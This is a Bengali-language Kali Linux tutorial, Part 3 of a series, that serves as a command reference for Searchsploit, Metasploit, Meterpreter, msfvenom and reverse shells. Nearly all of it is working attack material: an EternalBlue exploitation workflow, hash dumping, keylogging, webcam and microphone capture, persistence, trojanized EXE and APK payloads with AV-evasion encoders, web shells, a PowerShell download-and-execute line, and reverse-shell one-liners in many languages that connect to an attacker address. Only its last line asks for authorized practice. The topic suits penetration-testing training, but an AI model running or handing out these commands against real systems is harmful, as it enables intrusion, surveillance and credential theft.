KALI LINUX SERIES

Kali Linux — Part 3

Exploitation Tools — সম্পূর্ণ বাংলা গাইড

Metasploit Framework, Searchsploit, msfvenom, Netcat Reverse Shell, MSFconsole — Exploitation-এর সব প্রয়োজনীয় tool-এর সম্পূর্ণ command reference, প্রতিটি command-এর বিস্তারিত বাংলা ব্যাখ্যা সহ।

```
root@kali:~# msfconsole
=[ metasploit v6.x – exploitation framework ]
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD
windows/x64/meterpreter/reverse_tcp
```

💥 Metasploit | 🔎 Searchsploit | 🧬 msfvenom | 🎯 Meterpreter | 📡 Reverse Shell | 🛡️ Post Exploitation

03

📋 বিষয়সূচি — Part 3

01 Searchsploit — Exploit Database

Exploit খোঁজা, copy করা, update করা — সব commands

02 Metasploit Framework — সম্পূর্ণ গাইড

MSFconsole navigation, Search, Use, Options, Run — সব basic commands

Exploit, Payload, Auxiliary, Post module — ব্যবহার পদ্ধতি

Database setup, Workspace management, Import scan results

03 Meterpreter — Advanced Shell

সব Meterpreter commands — File, System, Network, Pivoting

Privilege Escalation, Persistence, AV Evasion

04 msfvenom — Payload Generator

Windows, Linux, Android, Web payload তৈরি

Encoder, AV Evasion, Bind ও Reverse shell

05 Reverse Shell — সব ধরনের

Bash, Python, PHP, Netcat, PowerShell, Perl, Ruby reverse shells

Shell upgrade করো, TTY shell পাও

CHAPTER 01

🔎 Searchsploit — Exploit Database CLI

Exploit-DB-এর offline copy — internet ছাড়াই exploit খোঁজো ও use করো

🔍

searchsploit

Exploit-DB-এর command line interface — software name বা CVE দিয়ে locally exploit খোঁজো

Exploit Search Offline DB

🔍 Search Commands

Flag / Command	কাজ	উদাহরণ
`searchsploit [keyword]`	Keyword দিয়ে exploit খোঁজো	`searchsploit apache 2.4`
`searchsploit [soft] [ver]`	Software নাম ও version দিয়ে খোঁজো	`searchsploit wordpress 5.8`
`-t keyword`	শুধু Title-এ search করো (precise result)	`searchsploit -t "remote code execution"`
`--cve CVE-XXXX`	CVE number দিয়ে exploit খোঁজো	`searchsploit --cve CVE-2021-44228`
`-e keyword`	Exact phrase match করো	`searchsploit -e "Apache 2.4.49"`
`--exclude "word"`	নির্দিষ্ট keyword বাদ দিয়ে খোঁজো	`searchsploit apache --exclude "windows"`
`-w`	Exploit-DB website URL দেখাও	`searchsploit -w apache 2.4`
`-j`	JSON format-এ output দেখাও	`searchsploit -j apache | python3 -m json.tool`
`--nmap file.xml`	Nmap XML scan result থেকে exploit খোঁজো	`searchsploit --nmap scan.xml`

📋 Exploit File Operations

Flag	কাজ	উদাহরণ
`-p EDB-ID`	Exploit-এর full path দেখাও	`searchsploit -p 42966`
`-m EDB-ID`	Exploit বর্তমান directory-তে copy করো	`searchsploit -m 42966`
`-x EDB-ID`	Exploit file directly examine/read করো	`searchsploit -x 42966`
`--update`	Exploit database update করো	`searchsploit --update`

```
# Apache-এর সব exploit খোঁজো root@kali:~# searchsploit apache 2.4 # Nmap scan result থেকে সরাসরি exploit খোঁজো root@kali:~# searchsploit --nmap nmap_scan.xml # CVE দিয়ে Log4Shell exploit খোঁজো root@kali:~# searchsploit --cve CVE-2021-44228 # Exploit copy করো ও দেখো root@kali:~# searchsploit -m 42966 root@kali:~# cat 42966.py # Windows exclude করে Linux exploit খোঁজো root@kali:~# searchsploit samba --exclude "windows" # Database update করো root@kali:~# searchsploit --update
```

CHAPTER 02

💥 Metasploit Framework — সম্পূর্ণ গাইড

World-এর সবচেয়ে জনপ্রিয় penetration testing framework — exploit থেকে post-exploitation সব এক জায়গায়

Metasploit Framework

💥

Rapid7-এর তৈরি open-source exploit framework — ২০০০+ exploit, ৫০০+ payload, ৩০০+ auxiliary module আছে

Exploit Payload Post-Exploit AV Evasion

🚀 MSFconsole চালু করা ও Basic Navigation

```
# Database initialize করো (প্রথমবার) root@kali:~# msfdb init # MSFconsole চালু করো
root@kali:~# msfconsole # Quiet mode (banner ছাড়া) root@kali:~# msfconsole -q #
Resource file চালাও (automation) root@kali:~# msfconsole -r commands.rc
```

⌨️ MSFconsole — সব Basic Commands

কমান্ড	কাজ	উদাহরণ
`help`	সব available command দেখাও	`help`
`help [command]`	নির্দিষ্ট command-এর help দেখাও	`help search`
`search [keyword]`	Module খোঁজো — name, CVE, author দিয়ে	`search eternalblue`
`search type:exploit`	শুধু exploit module খোঁজো	`search type:exploit platform:windows`

কমান্ড	কাজ	উদাহরণ
`search cve:2021`	CVE year দিয়ে খোঁজো	`search cve:2021 type:exploit`
`use [module]`	Module select করো	`use exploit/windows/smb/ms17_010_eternalblue`
`use [number]`	Search result-এর number দিয়ে module select করো	`use 0`
`info`	Current module-এর বিস্তারিত তথ্য দেখাও	`info`
`show options`	Module-এর configurable options দেখাও	`show options`
`show advanced`	Advanced options দেখাও	`show advanced`
`show payloads`	Compatible payloads দেখাও	`show payloads`
`show targets`	Available exploit targets দেখাও	`show targets`
`set [OPTION] [value]`	Option-এর value সেট করো	`set RHOSTS 192.168.1.5`
`setg [OPTION] [value]`	Global value সেট করো (সব module-এ কাজ করবে)	`setg LHOST 192.168.1.100`
`unset [OPTION]`	Option-এর value clear করো	`unset RHOSTS`
`run / exploit`	Exploit চালাও	`run`
`run -j`	Background-এ job হিসেবে চালাও	`run -j`
`check`	Target vulnerable কিনা check করো (exploit না করে)	`check`
`back`	Current module থেকে বেরিয়ে আসো	`back`
`exit / quit`	Metasploit বন্ধ করো	`exit`
`sessions`	সব active session দেখাও	`sessions`
`sessions -i [id]`	নির্দিষ্ট session-এ interact করো	`sessions -i 1`

কমান্ড	কাজ	উদাহরণ
`sessions -k [id]`	নির্দিষ্ট session kill করো	`sessions -k 1`
`sessions -l`	সব session list করো	`sessions -l`
`jobs`	Background jobs দেখাও	`jobs`
`kill [job_id]`	Background job kill করো	`kill 0`
`background / Ctrl+Z`	Current session background-এ পাঠাও	`background`
`spool file.txt`	Console output file-এ save করো	`spool /tmp/msf_log.txt`
`makerc file.rc`	Session-এর commands resource file-এ save করো	`makerc /tmp/commands.rc`

🗄️ Database ও Workspace Management

কমান্ড	কাজ
`db_status`	Database connection status দেখাও
`workspace`	বর্তমান workspace দেখাও
`workspace -a [name]`	নতুন workspace তৈরি করো
`workspace [name]`	Workspace switch করো
`workspace -d [name]`	Workspace delete করো
`db_nmap [options] target`	Nmap চালাও ও result database-এ save করো
`db_import scan.xml`	External scan result import করো (Nmap XML)
`hosts`	Database-এ stored hosts দেখাও
`services`	Discovered services দেখাও
`vulns`	Known vulnerabilities দেখাও

কমান্ড	কাজ
`creds`	Collected credentials দেখাও
`loot`	Collected loot দেখাও
`db_export -f xml output.xml`	Database export করো

🎯 Module Types — কোনটা কী কাজের

💥 Exploit Module

Vulnerability exploit করে target system-এ access নেয়।

```
msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(...) > set RHOSTS 192.168.1.5 msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(...) > set LHOST 192.168.1.100 msf6 exploit(...) > run
```

🔧 Auxiliary Module

Scanning, fuzzing, sniffing, brute force করে — exploit ছাড়া।

```
msf6 > use auxiliary/scanner/smb/smb_version msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24 msf6 auxiliary(...) > set THREADS 50 msf6 auxiliary(...) > run
```

📦 Payload

Exploit-এর পরে target-এ execute হয়। Shell, Meterpreter ইত্যাদি।

```
# Staged payload (ছোট, internet দরকার) windows/x64/meterpreter/reverse_tcp # Stageless payload (বড়, standalone) windows/x64/meterpreter_reverse_tcp
```

🔄 Post Module

Session পাওয়ার পরে চালানো হয় — privilege escalation, data collection।

```
msf6 > use post/multi/recon/local_exploit_suggester msf6 post(...) > set SESSION 1 msf6 post(...) > run
```

🔥 সবচেয়ে বেশি ব্যবহৃত Exploits

Module Path	CVE	Target	বিবরণ
exploit/windows/smb/ms17_010_eternalblue	CVE-2017-0144	Windows 7/2008	EternalBlue — NSA exploit, WannaCry-তে ব্যবহৃত
exploit/windows/smb/ms08_067_netapi	MS08-067	Windows XP/2003	Classic Windows SMB exploit
exploit/multi/handler	—	Any	Reverse shell listener (সবচেয়ে বেশি ব্যবহৃত)
exploit/unix/ftp/vsftpd_234_backdoor	—	Linux	vsFTPd 2.3.4 backdoor
exploit/multi/samba/usermap_script	CVE-2007-2447	Linux Samba	Samba usermap script injection
exploit/windows/http/rejetto_hfs_exec	CVE-2014-6287	HFS Windows	HTTP File Server RCE
auxiliary/scanner/portscan/tcp	—	Any	MSF দিয়ে TCP port scan
auxiliary/scanner/smb/smb_login	—	Windows	SMB login brute force
auxiliary/scanner/http/http_login	—	Web	HTTP form brute force
post/multi/recon/local_exploit_suggester	—	Any	Local PrivEsc exploit suggest করো

Module Path	CVE	Target	বিবরণ
`post/windows/gather/hashdump`	—	Windows	Windows password hash dump করো
`post/linux/gather/hashdump`	—	Linux	Linux /etc/shadow dump করো

🧩 Multi/Handler — Reverse Shell Listener

💡 Multi/Handler কী?

যখন তুমি msfvenom দিয়ে payload বানিয়ে target-এ execute করবে, তখন Metasploit-এ একটি listener চালাতে হবে যেটা connection গ্রহণ করবে। Multi/Handler সেই listener।

```
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.1.100 # তোমার IP msf6 exploit(multi/handler) > set LPORT 4444 msf6 exploit(multi/handler) > set ExitOnSession false # একাধিক connection-এর জন্য msf6 exploit(multi/handler) > run -j # Background-এ চালাও # Target execute করার পরে session পাবে [*] Started reverse TCP handler on 192.168.1.100:4444 [*] Sending stage (175174 bytes) to 192.168.1.5 [*] Meterpreter session 1 opened # Session-এ ঢোকো msf6 > sessions -i 1
```

🔍 দরকারী Auxiliary Modules

Module	কাজ
`auxiliary/scanner/portscan/tcp`	TCP port scan করো
`auxiliary/scanner/smb/smb_version`	SMB version detect করো
`auxiliary/scanner/smb/smb_login`	SMB login brute force করো
`auxiliary/scanner/ssh/ssh_login`	SSH login brute force করো

Module	কাজ
`auxiliary/scanner/ftp/ftp_login`	FTP login brute force করো
`auxiliary/scanner/http/http_version`	Web server version detect করো
`auxiliary/scanner/http/dir_scanner`	Web directory scan করো
`auxiliary/scanner/vnc/vnc_login`	VNC login brute force করো
`auxiliary/gather/dns_enum`	DNS enumeration করো
`auxiliary/sniffer/psnuffle`	Network traffic sniff করো

CHAPTER 03

🍪 Meterpreter — Advanced Post-Exploitation Shell

Exploit-এর পরে যে শক্তিশালী shell পাওয়া যায় — file system, network, system সব control করো

🍪

Meterpreter

Metasploit-এর in-memory payload — disk-এ কোনো file লেখে না, AV detect করতে পারে না সহজে

Post-Exploit In-Memory Advanced Shell

💻 System Commands

কমান্ড	কাজ
`sysinfo`	System information দেখাও (OS, hostname, arch)
`getuid`	বর্তমান user দেখাও
`getpid`	বর্তমান process ID দেখাও
`ps`	সব running process দেখাও
`migrate [PID]`	অন্য process-এ migrate করো (stability/evasion)
`kill [PID]`	Process kill করো
`shell`	Regular OS shell-এ যাও (cmd.exe বা /bin/sh)
`execute -f cmd -i`	Command execute করো interactive mode-এ
`reboot`	Target system reboot করো

কমান্ড	কাজ
`shutdown`	Target system shutdown করো
`idletime`	User কতক্ষণ idle আছে দেখাও
`env`	Environment variables দেখাও

📂 File System Commands

কমান্ড	কাজ
`pwd`	বর্তমান directory দেখাও (target-এ)
`ls`	Directory contents দেখাও
`cd [path]`	Directory change করো
`cat [file]`	File content দেখাও
`download [file]`	Target থেকে file download করো
`upload [file] [path]`	Target-এ file upload করো
`edit [file]`	Target-এর file edit করো
`rm [file]`	File delete করো
`mkdir [dir]`	Directory তৈরি করো
`search -f *.txt`	File খোঁজো
`search -f passwords.txt -d C:\\`	C drive-এ password file খোঁজো
`lpwd`	Attacker machine-এর বর্তমান directory
`lcd [path]`	Attacker machine-এ directory change করো

🌐 Network Commands

কমান্ড	কাজ
`ipconfig / ifconfig`	Network interface ও IP দেখাও
`arp`	ARP table দেখাও
`route`	Routing table দেখাও
`netstat`	Active network connections দেখাও
`portfwd add -l 8080 -p 80 -r target`	Port forward করো (pivot করার জন্য)
`portfwd list`	Port forward rules দেখাও
`portfwd delete -l 8080`	Port forward rule মুছো

⬆️ Privilege Escalation

কমান্ড	কাজ
`getsystem`	SYSTEM privilege পাওয়ার চেষ্টা করো (Windows)
`getprivs`	বর্তমান privileges দেখাও
`use post/multi/recon/local_exploit_suggester`	Local PrivEsc exploits suggest করো
`hashdump`	Windows password hash dump করো (SYSTEM লাগে)
`run post/windows/gather/hashdump`	Post module দিয়ে hash dump করো
`load incognito`	Token impersonation extension load করো
`list_tokens -u`	Available tokens দেখাও (incognito)
`impersonate_token "DOMAIN\\Admin"`	Admin token impersonate করো

📸 Surveillance Commands

কমান্ড	কাজ
`screenshot`	Target-এর screen screenshot নাও
`keyscan_start`	Keylogger চালু করো
`keyscan_dump`	Logged keystrokes দেখাও
`keyscan_stop`	Keylogger বন্ধ করো
`webcam_list`	Available webcam দেখাও
`webcam_snap`	Webcam দিয়ে ছবি তোলো
`webcam_stream`	Webcam live stream দেখো
`record_mic -d 10`	১০ সেকেন্ড microphone record করো

🔒 Persistence

কমান্ড	কাজ
`run persistence -h`	Persistence module help দেখাও
`run persistence -S -U -X -i 30 -p 4444 -r LHOST`	Startup/User login-এ auto-connect করো
`run post/windows/manage/persistence_exe`	Windows persistence setup করো
`run post/linux/manage/cron_persistence`	Linux cron দিয়ে persistence করো

```
# EternalBlue exploit — সম্পূর্ণ workflow msf6 > search eternalblue msf6 > use
exploit/windows/smb/ms17_010_eternalblue msf6 exploit(ms17_010_eternalblue) > set
RHOSTS 192.168.1.5 msf6 exploit(ms17_010_eternalblue) > set PAYLOAD
windows/x64/meterpreter/reverse_tcp msf6 exploit(ms17_010_eternalblue) > set LHOST
192.168.1.100 msf6 exploit(ms17_010_eternalblue) > set LPORT 4444 msf6
exploit(ms17_010_eternalblue) > run # Meterpreter session পেলে: meterpreter > sysinfo
meterpreter > getuid meterpreter > getsystem # SYSTEM privilege নাও meterpreter >
hashdump # Password hash dump করো meterpreter > screenshot # Screen capture করো
meterpreter > download C:/secret.txt # File নামাও meterpreter > background #
Background-এ পাঠাও # PrivEsc suggestion msf6 > use
```

```
post/multi/recon/local_exploit_suggester msf6 post(...) > set SESSION 1 msf6 post(...)
> run
```

CHAPTER 04

🧬 msfvenom — Payload Generator & Encoder

Windows, Linux, Android, Web — যেকোনো platform-এর জন্য custom payload তৈরি করো

🧬 msfvenom

Metasploit payload generator ও encoder — msfpayload + msfencode একসাথে

Payload Gen AV Evasion Backdoor

⚙️ msfvenom — Core Flags

Flag	কাজ	উদাহরণ
`-p payload`	Payload specify করো	`-p windows/x64/meterpreter/reverse_tcp`
`LHOST=IP`	Attacker IP সেট করো	`LHOST=192.168.1.100`
`LPORT=port`	Attacker listening port সেট করো	`LPORT=4444`
`-f format`	Output format specify করো	`-f exe / -f elf / -f apk / -f raw`
`-o file`	Output file নাম দাও	`-o payload.exe`
`-e encoder`	Encoder ব্যবহার করো (AV bypass)	`-e x86/shikata_ga_nai`
`-i count`	Encoding iterations বাড়াও	`-i 10`
`-b "\x00"`	Bad characters avoid করো	`-b "\x00\x0a\x0d"`
`-n bytes`	NOP sled যোগ করো	`-n 10`
`-x template`	Legitimate exe-এর মধ্যে payload inject করো	`-x putty.exe`

Flag	কাজ	উদাহরণ
`-k`	Template exe-কে functional রাখো (-x এর সাথে)	`-k -x putty.exe`
`--list payloads`	সব available payload দেখাও	`msfvenom --list payloads`
`--list formats`	সব output format দেখাও	`msfvenom --list formats`
`--list encoders`	সব encoder দেখাও	`msfvenom --list encoders`

□ Windows Payloads

```
# Windows 64-bit Meterpreter Reverse TCP (.exe) root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o win_payload.exe # Windows 32-bit Reverse Shell root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload32.exe # Encoded payload (AV bypass) root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x64/xor_dynamic -i 10 -f exe -o encoded.exe # Legitimate exe-এর মধ্যে payload inject করো root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -k -x putty.exe -f exe -o trojan_putty.exe # Windows PowerShell payload root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f psh -o payload.ps1 # DLL payload (DLL Hijacking) root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o payload.dll # Windows Bind Shell (target-এ port খুলে) root@kali:~# msfvenom -p windows/x64/meterpreter/bind_tcp RHOST=192.168.1.5 LPORT=4444 -f exe -o bind_shell.exe # ASP Web Shell (Windows IIS) root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f asp -o shell.asp # ASPX Web Shell root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f aspx -o shell.aspx
```

🐧 Linux Payloads

```
# Linux 64-bit Meterpreter Reverse TCP (ELF) root@kali:~# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o linux_payload root@kali:~# chmod +x linux_payload # Linux 32-bit Reverse Shell root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100
```

```
LPORT=4444 -f elf -o linux32.elf # Linux Staged Meterpreter root@kali:~# msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o shell.elf # PHP Web Shell (Linux web server) root@kali:~# msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.php # Python payload root@kali:~# msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o payload.py # Bash payload root@kali:~# msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.100 LPORT=4444 -f raw -o payload.sh
```

📱 Android Payload

```
# Android APK payload root@kali:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o android_payload.apk # Legitimate APK-এর মধ্যে inject করো root@kali:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -k -x original.apk -o trojan.apk # Listener চালাও root@kali:~# msfconsole -q -x "use exploit/multi/handler; set PAYLOAD android/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; run"
```

🌐 Web Payloads

```
# PHP Meterpreter Web Shell root@kali:~# msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > shell.php # JSP Web Shell (Java/Tomcat) root@kali:~# msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.jsp # WAR file (Tomcat) root@kali:~# msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f war -o shell.war # Node.js payload root@kali:~# msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o payload.js
```

📊 Staged vs Stageless Payload

ধরন	উদাহরণ	বিবরণ	কখন ব্যবহার
Staged	`windows/x64/meterpreter/reverse_tcp`	ছোট payload — Metasploit থেকে বাকি অংশ download করে	Normal network access আছে
Stageless	`windows/x64/meterpreter_reverse_tcp`	বড় payload — সব কিছু ভেতরে আছে, download দরকার নেই	Restricted network বা AV evasion

CHAPTER 05

📡 Reverse Shell — সব ধরনের

Bash, Python, PHP, Netcat, PowerShell, Perl, Ruby — সব language-এ reverse shell one-liner

⚠️ Reverse Shell কীভাবে কাজ করে?

Target machine → Attacker-এ connect করে। Attacker-এ আগে `nc -lvnp 4444` দিয়ে listener চালু রাখতে হবে।

👂 Listener Setup — প্রথমে Attacker-এ চালাও

```
# Netcat listener (সবচেয়ে সহজ) root@kali:~# nc -lvnp 4444 # Multiple connection accept করার জন্য root@kali:~# nc -lkvnp 4444 # Rlwrap দিয়ে (arrow key কাজ করবে) root@kali:~# rlwrap nc -lvnp 4444 # Metasploit multi/handler listener msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set PAYLOAD linux/x64/shell_reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.1.100 msf6 exploit(multi/handler) > set LPORT 4444 msf6 exploit(multi/handler) > run
```

🍪 Bash Reverse Shell

```
# Method 1 — Classic Bash bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 # Method 2 — Bash with /dev/tcp 0<&196;exec 196<>/dev/tcp/192.168.1.100/4444; sh <&196 >&196 2>&196 # Method 3 — Background bash shell bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' & # Method 4 — Encoded (filter bypass) echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==" | base64 -d | bash
```

🐍 Python Reverse Shell

```
# Python 3 python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.16
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' #
Python 2 python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.16
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])' #
Python short version python3 -c 'import
os,pty,socket;s=socket.socket();s.connect(("192.168.1.100",4444));
[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
```

🐘 PHP Reverse Shell

```
# PHP one-liner php -r '$sock=fsockopen("192.168.1.100",4444);exec("/bin/sh -i <&3 >&3
2>&3");' # PHP web shell (upload করো) <?php system($_GET['cmd']); ?> # PHP reverse
shell (file হিসেবে upload করো) <?php exec("/bin/bash -c 'bash -i >&
/dev/tcp/192.168.1.100/4444 0>&1'"); ?> # PentestMonkey-র full PHP reverse shell
(recommended) # /usr/share/webshells/php/php-reverse-shell.php থেকে copy করো
root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php # LHOST ও
LPORT edit করো, তারপর upload করো
```

📡 Netcat Reverse Shell

```
# Traditional netcat (যদি -e থাকে) nc 192.168.1.100 4444 -e /bin/bash # Modern netcat
(OpenBSD) — -e নেই rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc
192.168.1.100 4444 >/tmp/f # Windows netcat nc.exe 192.168.1.100 4444 -e cmd.exe #
ncat (nmap-এর netcat) ncat 192.168.1.100 4444 -e /bin/bash
```

□ PowerShell Reverse Shell (Windows)

```
# PowerShell one-liner powershell -NoP -NonI -W Hidden -Exec Bypass -Command "&
{$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,
```

```
$bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-
String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);
# Encoded PowerShell (bypass restriction) powershell -EncodedCommand
[BASE64_ENCODED_COMMAND] # PowerShell download ও execute powershell -c "IEX(New-Object
Net.WebClient).DownloadString('http://192.168.1.100/shell.ps1')"
```

🔢 Perl, Ruby, Awk Reverse Shell

```
# Perl perl -e 'use
Socket;$i="192.168.1.100";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(c
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' # Ruby
ruby -rsocket -e'f=TCPSocket.open("192.168.1.100",4444).to_i;exec sprintf("/bin/sh -i
<&%d >&%d 2>&%d",f,f,f)' # Awk awk 'BEGIN {s = "/inet/tcp/0/192.168.1.100/4444";
while(42) { do{ printf "shell>" |& s; s |& getline c; print c; while ((c | getline
line) > 0) print line | s; close(c)} while(c != "exit") close(s)}}' # Lua lua -e
"require('socket');require('os');t=socket.tcp();t:connect('192.168.1.100','4444');os.execu
-i <&3 >&3 2>&3');"
```

⬆️ Shell Upgrade — Dumb Shell → TTY Shell

✅ কেন Shell Upgrade করব?

Simple reverse shell-এ arrow key কাজ করে না, Ctrl+C তে shell মরে যায়, sudo কাজ করে না। TTY upgrade করলে এসব সমস্যা দূর হয়।

```
═══ Method 1: Python PTY (সবচেয়ে সহজ) ═══ # Target-এ চালাও: python3 -c 'import pty;
pty.spawn("/bin/bash")' # তারপর Ctrl+Z চাপো (background করো) # Attacker machine-এ:
stty raw -echo; fg # Target-এ: export TERM=xterm stty rows 38 columns 120 ═══ Method
2: Script ব্যবহার করো ═══ script /dev/null -c bash ═══ Method 3: Socat (সবচেয়ে ভালো) ═══
# Attacker-এ listener: socat file:`tty`,raw,echo=0 tcp-listen:4444 # Target-এ: socat
exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.100:4444 ═══ Method 4:
rlwrap (quick) ═══ # Listener চালানোর আগে: root@kali:~# rlwrap nc -lvnp 4444
```

💥 Exploitation Checklist — কাজের পদ্ধতি

- 1 **Recon:** Nmap দিয়ে সব port ও service বের করো → searchsploit দিয়ে exploit খোঁজো
- 2 **Search:** MSFconsole-এ `search` দিয়ে Metasploit module খোঁজো
- 3 **Configure:** RHOSTS, PAYLOAD, LHOST, LPORT সেট করো
- 4 **Run:** `check` করো তারপর `run` করো
- 5 **Shell:** Reverse shell পেলে TTY upgrade করো
- 6 **PrivEsc:** `local_exploit_suggester` চালাও
- 7 **Post:** Hashdump, screenshot, data collection করো

💥 "Exploitation is not just about running tools — it's about understanding the target."

সব কিছু authorized environment-এ practice করো। Permission ছাড়া exploit করা সম্পূর্ণ illegal।

Kali Linux Series — Part 3 | v1.0 | Exploitation Tools

Part 4: Password Attacks + Wireless (Hashcat, John, Hydra, Aircrack-ng) →